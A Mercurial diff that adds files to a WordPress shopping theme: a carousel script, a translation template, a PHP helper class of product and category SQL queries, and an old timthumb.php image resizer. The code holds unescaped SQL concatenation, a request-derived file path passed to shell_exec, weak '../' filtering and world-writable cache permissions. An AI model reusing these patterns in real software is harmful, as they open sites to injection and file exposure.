config.$statusobjs=[$('#'+config.statusvars[0]), $('#'+config.statusvars[1]), $('#'+config.statusvars[2])] + config.currentpanel=0 + stepcarousel.configholder[config.galleryid]=config //store config parameter as a variable + if (config.contenttype[0]=="ajax" && typeof config.contenttype[1]!="undefined") //fetch ajax content? + stepcarousel.getremotepanels($, config) + else + stepcarousel.alignpanels($, config) //align panels and initialize gallery + }) //end document.ready + jQuery(window).bind('unload', function(){ //clean up + if (config.panelbehavior.persist){ + stepcarousel.setCookie(window[config.galleryid+"persist"], config.currentpanel) + } + jQuery.each(config, function(ai, oi){ + oi=null + }) + config=null + }) + } +} + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/languages/kelontong.pot --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/languages/kelontong.pot Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,158 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) 2010 THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR , 2010. +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-06-17 09:19-0400\n" +"PO-Revision-Date: 2010-01-05 16:09+0100\n" +"Last-Translator: Sulaeman \n" +"Language-Team: Sulaeman \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=CHARSET\n" +"Content-Transfer-Encoding: 8bit\n" + +msgid "Hi" +msgstr "" + +msgid "Shopping Cart" +msgstr "" + +msgid "Checkout" +msgstr "" + +msgid "Logout" +msgstr "" + +msgid "Register" +msgstr "" + +msgid "Login" +msgstr "" + +msgid "Home" +msgstr "" + +msgid "Featured Products" +msgstr "" + +msgid "more-information" +msgstr "" + +msgid "more information" +msgstr "" + +msgid "More Information" +msgstr "" + +msgid "Previous" +msgstr "" + +msgid "Next" +msgstr "" + +msgid "Search" +msgstr "" + +msgid "Featured Product" +msgstr "" + +msgid "Advertisement" +msgstr "" + +msgid "Popular Products" +msgstr "" + +msgid "Add to My Wishlist" +msgstr "" + +msgid "Related Products" +msgstr "" + +msgid "Page" +msgstr "" + +msgid "View All" +msgstr "" + +msgid "You must be logged in to use this page. Please use the form below to login to your account." +msgstr "" + +msgid "Username" +msgstr "" + +msgid "Password" +msgstr "" + +msgid "Remember me" +msgstr "" + +msgid "Updating your wishlist..." +msgstr "" + +msgid "Remove" +msgstr "" + +msgid "turtle" +msgstr "" + +msgid "internal error" +msgstr "" + +msgid "you have reached the max limit item allowed in your wishlist." +msgstr "" + +msgid "Browse" +msgstr "" + +msgid "This comment is awaiting moderation." +msgstr "" + +msgid "Trackbacks and Pingbacks" +msgstr "" + +msgid "Write a Comment" +msgstr "" + +msgid "You must be" +msgstr "" + +msgid "logged in" +msgstr "" + +msgid "to post a comment." +msgstr "" + +msgid "Logged in as" +msgstr "" + +msgid "Your Name" +msgstr "" + +msgid "Email" +msgstr "" + +msgid "Website" +msgstr "" + +msgid "Message" +msgstr "" + +msgid "view wishlist" +msgstr "" + +msgid "clear" +msgstr "" + +msgid "clear wishlist" +msgstr "" + +msgid "share my wishlist" +msgstr "" + +msgid "back" +msgstr "" diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/libraries/icl_utility.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/libraries/icl_utility.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,482 @@ +get_results('SELECT `product_id` FROM `'.$wpdb->prefix . $this->table_prefix . 'products` WHERE `new` = 1 AND `new_start_date` <= "'.strtotime(date('Y-m-d')).'" AND `new_end_date` >= "'.strtotime(date('Y-m-d')).'"', ARRAY_A); + if (is_array($new) && count($new)) + { + $new_ids = array(); + foreach ($new as $nw) + { + $new_ids[] = $nw['product_id']; + } + + $sql = 'SELECT DISTINCT ' . WPSC_TABLE_PRODUCT_LIST . '.id, name, ' . $wpdb->prefix . $this->table_prefix . 'products.simple_description, price, pnp, file, image, special, special_price, donation '; + $sql .= 'FROM ' . WPSC_TABLE_PRODUCT_LIST . ' LEFT JOIN ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . ' ON '; + $sql .= WPSC_TABLE_PRODUCT_LIST . '.id = ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . '.product_id '; + $sql .= ' LEFT JOIN ' . $wpdb->prefix . $this->table_prefix . 'products ON '; + $sql .= WPSC_TABLE_PRODUCT_LIST . '.id = ' . $wpdb->prefix . $this->table_prefix . 'products.product_id '; + $sql .= 'WHERE publish = 1 AND active = 1 AND ' . WPSC_TABLE_PRODUCT_LIST . '.id IN ('.implode(',', $new_ids).') '; + + if ($current_product_id != '') + { + $sql .= 'AND ' . WPSC_TABLE_PRODUCT_LIST . '.id != ' . $current_product_id . ' '; + } + + if ($random) + { + $sql .= 'ORDER BY RAND() '; + } + + if ($max != '') + { + $sql .= 'LIMIT ' . $max; + } + } + + return $sql; + } + + function stripNonText($text) { + if ($text != '') + { + return preg_replace(array('@]*?>.*?@si', '@<[\/\!]*?[^<>]*?>@si'), array('', ''), $text); + } + + return ''; + } + + function extractArgument($params, $name) + { + $ix = -1; + $iy = -1; + if (strlen($params) != 0) + { + $args = strtolower($params); + $arg = strtolower($name).'='; + $ix = strpos($args, $arg); + if ($ix > 0) + { + $ix = $ix + strlen($arg); + $iy = strpos(substr($args, $ix, strlen($args)), '&'); + if (!$iy) + { + $iy = strlen($args); + } + } + } + return $argument = ($ix > 0) ? substr($params, $ix, $iy) : ''; + } + + function getWeekRange($offset=0) + { + $start_date = ''; + $end_date = ''; + $week = date('W'); + $week = $week - $offset; + $date = date('Y-m-d'); + + $i = 0; + while(date('W', strtotime("-$i day")) >= $week) + { + $start_date = date('Y-m-d', strtotime("-$i day")); + $i++; + } + + list($yr, $mo, $da) = explode('-', $start_date); + $end_date = date('Y-m-d', mktime(0, 0, 0, $mo, $da + 6, $yr)); + + return array($start_date, $end_date); + } + + function getMonthRange($offset=0) + { + $start_date = ''; + $end_date = ''; + $date = date('Y-m-d'); + + list($yr, $mo, $da) = explode('-', $date); + $start_date = date('Y-m-d', mktime(0, 0, 0, $mo - $offset, 1, $yr)); + + $i = 2; + + list($yr, $mo, $da) = explode('-', $start_date); + + while(date('d', mktime(0, 0, 0, $mo, $i, $yr)) > 1) + { + $end_date = date('Y-m-d', mktime(0, 0, 0, $mo, $i, $yr)); + $i++; + } + + return array($start_date, $end_date); + } + + function get_sql_top_selling($range = array(), $max = 0) + { + $sql = 'SELECT count(prodid) as total_download, prodid as id, b.name, LEFT(b.description, 80) as description, b.image '; + $sql .= 'FROM ' . WPSC_TABLE_CART_CONTENTS . ' a, ' . WPSC_TABLE_PRODUCT_LIST . ' b '; + $sql .= 'WHERE a.prodid = b.id AND b.publish = 1 AND b.active = 1 '; + if (is_array($range) && count($range) > 0) + { + $sql .= 'AND (DATE_FORMAT(datetime, "%Y-%m-%d") BETWEEN "' . $range[0] . '" AND "' . $range[1] . '") '; + } + $sql .= 'GROUP BY prodid ORDER BY total_download DESC '; + if ($max > 0) + { + $sql .= 'LIMIT ' . $max; + } + + return $sql; + } + + function get_products_by_category_sql($category_unid, $start = 0, $max = '') + { + global $wpdb; + + $category_unid = (intval($category_unid) > 0) ? $category_unid : 0; + + $sql = 'SELECT ' . WPSC_TABLE_PRODUCT_LIST . '.id, name, LEFT(' . WPSC_TABLE_PRODUCT_LIST . '.description, 80) as description, image '; + $sql .= 'FROM ' . WPSC_TABLE_PRODUCT_LIST . ' LEFT JOIN ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . ' ON '; + $sql .= WPSC_TABLE_PRODUCT_LIST . '.id = ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . '.product_id '; + $sql .= 'WHERE publish = 1 AND active = 1 AND ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . '.category_id = ' . $category_unid . ' '; + + if ($max != '') + { + $sql .= 'LIMIT '.$start.','.$max; + } + + return $sql; + } + + function get_categories($limit_start = '', $limit_end = '', $show_empy_category = TRUE) + { + global $wpdb; + + $category_list = array(); + + $sql = 'SELECT a.id, a.name, a.`nice-name` '; + $sql .= 'FROM '; + $sql .= WPSC_TABLE_PRODUCT_CATEGORIES . ' a, ' . WPSC_TABLE_CATEGORISATION_GROUPS . ' b '; + if ($show_empy_category === FALSE) + { + $sql .= ', ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . ' c '; + $sql .= ', ' . WPSC_TABLE_PRODUCT_LIST . ' d '; + } + $sql .= 'WHERE b.id = a.group_id AND LOWER(b.name) != "brands" AND `nice-name` NOT IN ("featured", "horizontal", "vertical", "newest") AND a.active = "1"'; + if ($show_empy_category === FALSE) + { + $sql .= 'AND a.id = c.category_id AND c.product_id = d.id AND d.active = 1 '; + } + $sql .= 'GROUP BY a.id '; + if ($limit_end != '') + { + $sql .= 'LIMIT ' . $limit_start . ', ' . $limit_end; + } + + $categories = $wpdb->get_results($sql, ARRAY_A); + if($categories != null) + { + foreach($categories as $category) + { + $category_list[] = $category; + } + return $category_list; + } + + return $category_list; + } + + function get_categories_structure(&$categories_structure, $parent = 0) + { + global $wpdb; + + $sql = 'SELECT a.id, a.name, a.`nice-name` '; + $sql .= 'FROM '; + $sql .= WPSC_TABLE_PRODUCT_CATEGORIES . ' a, ' . WPSC_TABLE_CATEGORISATION_GROUPS . ' b '; + $sql .= 'WHERE b.id = a.group_id AND LOWER(b.name) != "brands" AND a.active = "1" AND a.category_parent = ' . $parent .' '; + $sql .= 'GROUP BY a.id'; + + $categories = $wpdb->get_results($sql, ARRAY_A); + if ($categories) + { + if (count($categories) > 0) + { + foreach($categories as $category) + { + $categories_structure[$parent][] = $category; + + $this->get_categories_structure($categories_structure, $category['id']); + } + } + } + } + + function get_categories_structure_by_child(&$categories_structure, $child = 0) + { + global $wpdb; + + $sql = 'SELECT a.id, a.name, a.`nice-name` '; + $sql .= 'FROM '; + $sql .= WPSC_TABLE_PRODUCT_CATEGORIES . ' a, ' . WPSC_TABLE_CATEGORISATION_GROUPS . ' b '; + $sql .= 'WHERE b.id = a.group_id AND LOWER(b.name) != "brands" AND a.active = "1" AND a.category_parent = ' . $parent .' '; + $sql .= 'GROUP BY a.id'; + + $categories = $wpdb->get_results($sql, ARRAY_A); + if ($categories) + { + if (count($categories) > 0) + { + foreach($categories as $category) + { + $categories_structure[$parent][] = $category; + + $this->get_categories_structure($categories_structure, $category['id']); + } + } + } + } + + function get_category($category) + { + global $wpdb; + + $category = (intval($category) > 0) ? $category : 0; + + $sql = 'SELECT id, name, `nice-name` FROM '. WPSC_TABLE_PRODUCT_CATEGORIES . ' '; + $sql .= 'WHERE id = ' . $category; + + return $wpdb->get_row($sql, ARRAY_A); + } + + function get_category_nicename($category, $with_parent = FALSE) + { + $current = $this->_get_category_nicename($category); + + if (is_array($current) && count($current) > 0) + { + $category_string = $current['nice-name']; + if ($with_parent) + { + if (intval($current['category_parent']) > 0) + { + $category_string = $this->get_category_nicename($current['category_parent'], TRUE) . '/' . $category_string; + } + } + } + + return $category_string; + } + + function _get_category_nicename($category) + { + global $wpdb; + + $category = (intval($category) > 0) ? $category : 0; + + $sql = 'SELECT `nice-name`, `category_parent` FROM '. WPSC_TABLE_PRODUCT_CATEGORIES . ' '; + $sql .= 'WHERE id = ' . $category . ' LIMIT 1'; + + return $wpdb->get_row($sql, ARRAY_A); + } + + function output_get_categories($product, $separator = ', ', $prefix = '', $suffix = '') + { + global $wpdb; + + $product = (intval($product) > 0) ? $product : 0; + + $sql = 'SELECT `'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`id`,`'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`name` '; + $sql .= 'FROM '; + $sql .= '`'.WPSC_TABLE_ITEM_CATEGORY_ASSOC.'` , `'.WPSC_TABLE_PRODUCT_CATEGORIES.'` '; + $sql .= 'WHERE '; + $sql .= '`'.WPSC_TABLE_ITEM_CATEGORY_ASSOC.'`.`product_id` IN ('.$product.') AND `'.WPSC_TABLE_ITEM_CATEGORY_ASSOC.'`.`category_id` = `'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`id` AND `'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`active` IN("1")'; + $sql .= ' AND LOWER(name) NOT IN ("featured", "horizontal", "vertical")'; + + $categories = $wpdb->get_results($sql, ARRAY_A); + if($categories != null) + { + $category_list = array(); + foreach($categories as $category) + { + if (!empty($category['name'])) + { + $new_prefix = sprintf($prefix, get_option('siteurl').'/products-page/'.$this->get_category_nicename($category['id'], TRUE)); + $category_list[] = $new_prefix.$category['name'].$suffix; + } + } + return implode($separator, $category_list); + } + + return ''; + } + + function output_get_categories_id($product, $separator = '') + { + global $wpdb; + + $product = (intval($product) > 0) ? $product : 0; + + $sql = 'SELECT `'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`id` '; + $sql .= 'FROM '; + $sql .= '`'.WPSC_TABLE_ITEM_CATEGORY_ASSOC.'` , `'.WPSC_TABLE_PRODUCT_CATEGORIES.'` '; + $sql .= 'WHERE '; + $sql .= '`'.WPSC_TABLE_ITEM_CATEGORY_ASSOC.'`.`product_id` IN ('.$product.') AND `'.WPSC_TABLE_ITEM_CATEGORY_ASSOC.'`.`category_id` = `'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`id` AND `'.WPSC_TABLE_PRODUCT_CATEGORIES.'`.`active` IN("1")'; + + $categories = $wpdb->get_results($sql, ARRAY_A); + if($categories != null) + { + $category_list = array(); + foreach($categories as $category) + { + $category_list[] = $category['id']; + } + return implode($separator, $category_list); + } + + return ''; + } + + function get_parent_category_id($categories_structure, $child) + { + if (is_array($categories_structure) && count($categories_structure) > 0) + { + foreach($categories_structure as $parent => $categories) + { + foreach($categories as $category) + { + if ($category['id'] == $child) + { + return $parent; + } + } + } + } + + return 0; + } + + function icl_dashboard_news_list() + { + $rss = @fetch_feed('http://feeds.feedburner.com/iclportfolio'); + + if ( is_wp_error($rss) ) + { + if ( is_admin() || current_user_can('manage_options') ){ + echo '

    '; + printf(__('RSS Error: %s'), $rss->get_error_message()); + echo '

    '; + } + } elseif ( !$rss->get_item_quantity() ) { + return false; + } else { + echo '
    '; + wp_widget_rss_output( $rss, array('items' => 5, 'show_summary' => TRUE, 'show_date' => TRUE) ); + echo '
    '; + } + } + + function create_post_string($method, $params, $sc) { + $params['method'] = $method; + if (!isset($params['v'])) + { + $params['v'] = '1.0'; + } + $post_params = array(); + foreach ($params as $key => &$val) + { + if (is_array($val)) $val = implode(',', $val); + $post_params[] = $key.'='.urlencode($val); + } + $post_params[] = 'sig='.$this->generate_sig($params, $sc); + return implode('&', $post_params); + } + + function generate_sig($params_array, $sc) { + $str = ''; + ksort($params_array); + foreach ($params_array as $k=>$v) + { + $str .= "$k=$v"; + } + $str .= $sc; + return md5($str); + } + + function ping($address, $method, $params, $sc) + { + $post_string = $this->create_post_string($method, $params, $sc); + if (function_exists('curl_init')) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $address); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_USERAGENT, 'ICL API Client 1.0 (curl) ' . phpversion()); + $result = curl_exec($ch); + curl_close($ch); + } + else + { + $context = + array('http' => + array('method' => 'POST', + 'header' => 'Content-type: application/x-www-form-urlencoded'."\r\n". + 'User-Agent: ICL API Client 1.0 (non-curl) '.phpversion()."\r\n". + 'Content-length: ' . strlen($post_string), + 'content' => $post_string)); + $contextid=stream_context_create($context); + $sock=fopen($address, 'r', false, $contextid); + if ($sock) { + $result=''; + while (!feof($sock)) + $result.=fgets($sock, 4096); + fclose($sock); + } + } + return $result; + } + + function icl_general() + { + echo 'Kelontong Premium Preview'; + } + + function icl_menu() + { + echo 'Kelontong Premium Preview'; + } + + function icl_categories() + { + echo 'Kelontong Premium Preview'; + } + + function icl_products() + { + echo 'Kelontong Premium Preview'; + } + + function icl_wishlist() + { + echo 'Kelontong Premium Preview'; + } + + function icl_price_rules() + { + echo 'Kelontong Premium Preview'; + } + + function icl_banner() + { + echo 'Kelontong Premium Preview'; + } +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/libraries/timthumb.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/libraries/timthumb.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,616 @@ + +*/ + +/* +$sizeLimits = array( + "100x100", + "150x150", +); +*/ + +define ('CACHE_SIZE', 250); // number of files to store before clearing cache +define ('CACHE_CLEAR', 5); // maximum number of files to delete on each cache clear +define ('VERSION', '1.09'); // version number (to force a cache refresh +define ('ICLWP_BASEPATH', '/'); + +require_once('../../../../wp-config.php'); + +$imageFilters = array( + "1" => array(IMG_FILTER_NEGATE, 0), + "2" => array(IMG_FILTER_GRAYSCALE, 0), + "3" => array(IMG_FILTER_BRIGHTNESS, 1), + "4" => array(IMG_FILTER_CONTRAST, 1), + "5" => array(IMG_FILTER_COLORIZE, 4), + "6" => array(IMG_FILTER_EDGEDETECT, 0), + "7" => array(IMG_FILTER_EMBOSS, 0), + "8" => array(IMG_FILTER_GAUSSIAN_BLUR, 0), + "9" => array(IMG_FILTER_SELECTIVE_BLUR, 0), + "10" => array(IMG_FILTER_MEAN_REMOVAL, 0), + "11" => array(IMG_FILTER_SMOOTH, 0), +); + +// sort out image source +$src = get_request("src", ""); +if($src == "" || strlen($src) <= 3) { + displayError("no image specified"); +} + +// clean params before use +$src = cleanSource($src); +// last modified time (for caching) +$lastModified = filemtime($src); + +// get properties +$new_width = preg_replace("/[^0-9]+/", "", get_request("w", 0)); +$new_height = preg_replace("/[^0-9]+/", "", get_request("h", 0)); +$zoom_crop = preg_replace("/[^0-9]+/", "", get_request("zc", 1)); +$quality = preg_replace("/[^0-9]+/", "", get_request("q", 80)); +$filters = get_request("f", ""); + +if ($new_width == 0 && $new_height == 0) { + $new_width = 100; + $new_height = 100; +} + +// set path to cache directory (default is ./cache) +// this can be changed to a different location +$cache_dir = WP_CONTENT_DIR .'/uploads'; + +// get mime type of src +$mime_type = mime_type($src); + +// check to see if this image is in the cache already +check_cache( $cache_dir, $mime_type ); + +// if not in cache then clear some space and generate a new file +cleanCache(); + +ini_set('memory_limit', "30M"); + +// make sure that the src is gif/jpg/png +if(!valid_src_mime_type($mime_type)) { + displayError("Invalid src mime type: " .$mime_type); +} + +// check to see if GD function exist +if(!function_exists('imagecreatetruecolor')) { + displayError("GD Library Error: imagecreatetruecolor does not exist"); +} + +if(strlen($src) && file_exists($src)) { + + // open the existing image + $image = open_image($mime_type, $src); + if($image === false) { + displayError('Unable to open image : ' . $src); + } + + // Get original width and height + $width = imagesx($image); + $height = imagesy($image); + + // don't allow new width or height to be greater than the original + if( $new_width > $width ) { + $new_width = $width; + } + if( $new_height > $height ) { + $new_height = $height; + } + + // generate new w/h if not provided + if( $new_width && !$new_height ) { + + $new_height = $height * ( $new_width / $width ); + + } elseif($new_height && !$new_width) { + + $new_width = $width * ( $new_height / $height ); + + } elseif(!$new_width && !$new_height) { + + $new_width = $width; + $new_height = $height; + + } + + // create a new true color image + $canvas = imagecreatetruecolor( $new_width, $new_height ); + imagealphablending($canvas, false); + // Create a new transparent color for image + $color = imagecolorallocatealpha($canvas, 0, 0, 0, 127); + // Completely fill the background of the new image with allocated color. + imagefill($canvas, 0, 0, $color); + // Restore transparency blending + imagesavealpha($canvas, true); + + if( $zoom_crop ) { + + $src_x = $src_y = 0; + $src_w = $width; + $src_h = $height; + + $cmp_x = $width / $new_width; + $cmp_y = $height / $new_height; + + // calculate x or y coordinate and width or height of source + + if ( $cmp_x > $cmp_y ) { + + $src_w = round( ( $width / $cmp_x * $cmp_y ) ); + $src_x = round( ( $width - ( $width / $cmp_x * $cmp_y ) ) / 2 ); + + } elseif ( $cmp_y > $cmp_x ) { + + $src_h = round( ( $height / $cmp_y * $cmp_x ) ); + $src_y = round( ( $height - ( $height / $cmp_y * $cmp_x ) ) / 2 ); + + } + + imagecopyresampled( $canvas, $image, 0, 0, $src_x, $src_y, $new_width, $new_height, $src_w, $src_h ); + + } else { + + // copy and resize part of an image with resampling + imagecopyresampled( $canvas, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height ); + + } + + if ($filters != "") { + // apply filters to image + $filterList = explode("|", $filters); + foreach($filterList as $fl) { + $filterSettings = explode(",", $fl); + if(isset($imageFilters[$filterSettings[0]])) { + + for($i = 0; $i < 4; $i ++) { + if(!isset($filterSettings[$i])) { + $filterSettings[$i] = null; + } + } + + switch($imageFilters[$filterSettings[0]][1]) { + + case 1: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1]); + break; + + case 2: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2]); + break; + + case 3: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2], $filterSettings[3]); + break; + + default: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0]); + break; + + } + } + } + } + + // output image to browser based on mime type + show_image($mime_type, $canvas, $cache_dir); + + // remove image from memory + imagedestroy($canvas); + +} else { + + if(strlen($src)) { + displayError("image " . $src . " not found"); + } else { + displayError("no source specified"); + } + +} + +/** + * + */ +function show_image($mime_type, $image_resized, $cache_dir) { + + global $quality; + + // check to see if we can write to the cache directory + $is_writable = 0; + $cache_file_name = $cache_dir . '/' . get_cache_file(); + + if(touch($cache_file_name)) { + + // give 666 permissions so that the developer + // can overwrite web server user + chmod($cache_file_name, 0666); + $is_writable = 1; + + } else { + + $cache_file_name = NULL; + header('Content-type: ' . $mime_type); + + } + + $quality = floor($quality * 0.09); + + imagepng($image_resized, $cache_file_name, $quality); + + if($is_writable) { + show_cache_file($cache_dir, $mime_type); + } + + imagedestroy($image_resized); + + displayError("error showing image"); + +} + +/** + * + */ +function get_request( $property, $default = 0 ) { + + if( isset($_REQUEST[$property]) ) { + + return $_REQUEST[$property]; + + } else { + + return $default; + + } + +} + +/** + * + */ +function open_image($mime_type, $src) { + + if(stristr($mime_type, 'gif')) { + + $image = imagecreatefromgif($src); + + } elseif(stristr($mime_type, 'jpeg')) { + + @ini_set('gd.jpeg_ignore_warning', 1); + $image = imagecreatefromjpeg($src); + + } elseif( stristr($mime_type, 'png')) { + + $image = imagecreatefrompng($src); + + } + + return $image; + +} + +/** + * clean out old files from the cache + * you can change the number of files to store and to delete per loop in the defines at the top of the code + */ +function cleanCache() { + + $files = glob("cache/*", GLOB_BRACE); + + $yesterday = time() - (24 * 60 * 60); + + if (count($files) > 0) { + + usort($files, "filemtime_compare"); + $i = 0; + + if (count($files) > CACHE_SIZE) { + + foreach ($files as $file) { + + $i ++; + + if ($i >= CACHE_CLEAR) { + return; + } + + if (filemtime($file) > $yesterday) { + return; + } + + unlink($file); + + } + + } + + } + +} + +/** + * compare the file time of two files + */ +function filemtime_compare($a, $b) { + + return filemtime($a) - filemtime($b); + +} + +/** + * determine the file mime type + */ +function mime_type($file) { + + if (stristr(PHP_OS, 'WIN')) { + $os = 'WIN'; + } else { + $os = PHP_OS; + } + + $mime_type = ''; + + if (function_exists('mime_content_type')) { + $mime_type = mime_content_type($file); + } + + // use PECL fileinfo to determine mime type + if (!valid_src_mime_type($mime_type)) { + if (function_exists('finfo_open')) { + $finfo = finfo_open(FILEINFO_MIME); + $mime_type = finfo_file($finfo, $file); + finfo_close($finfo); + } + } + + // try to determine mime type by using unix file command + // this should not be executed on windows + if (!valid_src_mime_type($mime_type) && $os != "WIN") { + if (preg_match("/FREEBSD|LINUX/", $os)) { + $mime_type = trim(@shell_exec('file -bi "' . $file . '"')); + } + } + + // use file's extension to determine mime type + if (!valid_src_mime_type($mime_type)) { + + // set defaults + $mime_type = 'image/png'; + // file details + $fileDetails = pathinfo($file); + $ext = strtolower($fileDetails["extension"]); + // mime types + $types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + ); + + if (strlen($ext) && strlen($types[$ext])) { + $mime_type = $types[$ext]; + } + + } + + return $mime_type; + +} + +/** + * + */ +function valid_src_mime_type($mime_type) { + + if (preg_match("/jpg|jpeg|gif|png/i", $mime_type)) { + return true; + } + + return false; + +} + +/** + * + */ +function check_cache($cache_dir, $mime_type) { + + // make sure cache dir exists + if (!file_exists($cache_dir)) { + // give 777 permissions so that developer can overwrite + // files created by web server user + mkdir($cache_dir); + chmod($cache_dir, 0777); + } + + show_cache_file($cache_dir, $mime_type); + +} + +/** + * + */ +function show_cache_file($cache_dir) { + + $cache_file = $cache_dir . '/' . get_cache_file(); + + if (file_exists($cache_file)) { + + $gmdate_mod = gmdate("D, d M Y H:i:s", filemtime($cache_file)); + + if(! strstr($gmdate_mod, "GMT")) { + $gmdate_mod .= " GMT"; + } + + if (isset($_SERVER["HTTP_IF_MODIFIED_SINCE"])) { + + // check for updates + $if_modified_since = preg_replace("/;.*$/", "", $_SERVER["HTTP_IF_MODIFIED_SINCE"]); + + if ($if_modified_since == $gmdate_mod) { + header("HTTP/1.1 304 Not Modified"); + exit; + } + + } + + $fileSize = filesize($cache_file); + + // send headers then display image + header("Content-Type: image/png"); + header("Accept-Ranges: bytes"); + header("Last-Modified: " . $gmdate_mod); + header("Content-Length: " . $fileSize); + header("Cache-Control: max-age=9999, must-revalidate"); + header("Expires: " . $gmdate_mod); + + readfile($cache_file); + + exit; + + } + +} + +/** + * + */ +function get_cache_file() { + + global $lastModified; + static $cache_file; + + if(!$cache_file) { + $cachename = $_SERVER['QUERY_STRING'] . VERSION . $lastModified; + $cache_file = md5($cachename) . '.png'; + } + + return $cache_file; + +} + +/** + * check to if the url is valid or not + */ +function valid_extension ($ext) { + + if (preg_match("/jpg|jpeg|png|gif/i", $ext)) { + return TRUE; + } else { + return FALSE; + } + +} + +/** + * tidy up the image source url + */ +function cleanSource($src) { + + // remove slash from start of string + if(strpos($src, "/") == 0) { + $src = substr($src, -(strlen($src) - 1)); + } + + // remove http/ https/ ftp + $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); + // remove domain name from the source url + $host = $_SERVER["HTTP_HOST"]; + $src = str_replace($host, "", $src); + $host = str_replace("www.", "", $host); + $src = str_replace($host, "", $src); + + // don't allow users the ability to use '../' + // in order to gain access to files below document root + + // src should be specified relative to document root like: + // src=images/img.jpg or src=/images/img.jpg + // not like: + // src=../images/img.jpg + $src = preg_replace("/\.\.+\//", "", $src); + + // get path to image on file system + $src = get_document_root($src) . '/' . $src; + + return $src; + +} + +/** + * + */ +function get_document_root ($src) { + + // check for unix servers + if(@file_exists($_SERVER['DOCUMENT_ROOT'] . '/' . $src)) { + return $_SERVER['DOCUMENT_ROOT']; + } + + // check from script filename (to get all directories to timthumb location) + $parts = array_diff(explode('/', $_SERVER['SCRIPT_FILENAME']), explode('/', $_SERVER['DOCUMENT_ROOT'])); + $path = $_SERVER['DOCUMENT_ROOT'] . '/'; + foreach ($parts as $part) { + $path .= $part . '/'; + if (file_exists($path . $src)) { + return $path; + } + } + + // the relative paths below are useful if timthumb is moved outside of document root + // specifically if installed in wordpress themes like mimbo pro: + // /wp-content/themes/mimbopro/scripts/timthumb.php + $paths = array( + ".", + "..", + "../..", + "../../..", + "../../../..", + "../../../../.." + ); + + foreach($paths as $path) { + if(@file_exists($path . '/' . $src)) { + return $path; + } + } + + // special check for microsoft servers + if(!isset($_SERVER['DOCUMENT_ROOT'])) { + $path = str_replace("/", "\\", $_SERVER['ORIG_PATH_INFO']); + $path = str_replace($path, "", $_SERVER['SCRIPT_FILENAME']); + + if( @file_exists( $path . '/' . $src ) ) { + return $path; + } + } + + displayError('file not found ' . $src); + +} + +/** + * generic error message + */ +function displayError($errorString = '') { + + header('HTTP/1.1 400 Bad Request'); + die($errorString); + +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,23 @@ + + + + +
    + +

    Links:

    +
      + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/navigation.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/navigation.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,115 @@ +stripNonText($icl_utility->extractArgument('&'.$query_string, 'pagename')); + + get_header(); + + $show_full_page = TRUE; + + if (preg_match("/products-page/i", $current_page)) + { + $show_full_page = FALSE; + if (preg_match("/your-account/i", $current_page)) + { + $show_full_page = TRUE; + } + } + + if (defined('WPSC_TABLE_PRODUCT_LIST')) + { + if ($show_full_page) + { + $i_product = 1; + $limit = 10; + + $sql = 'SELECT id, image '; + $sql .= 'FROM ' . WPSC_TABLE_PRODUCT_LIST .' '; + $sql .= 'WHERE publish = 1 AND active = 1 '; + $sql .= 'ORDER BY RAND() LIMIT ' . $limit; + + $wpsc_query->products = 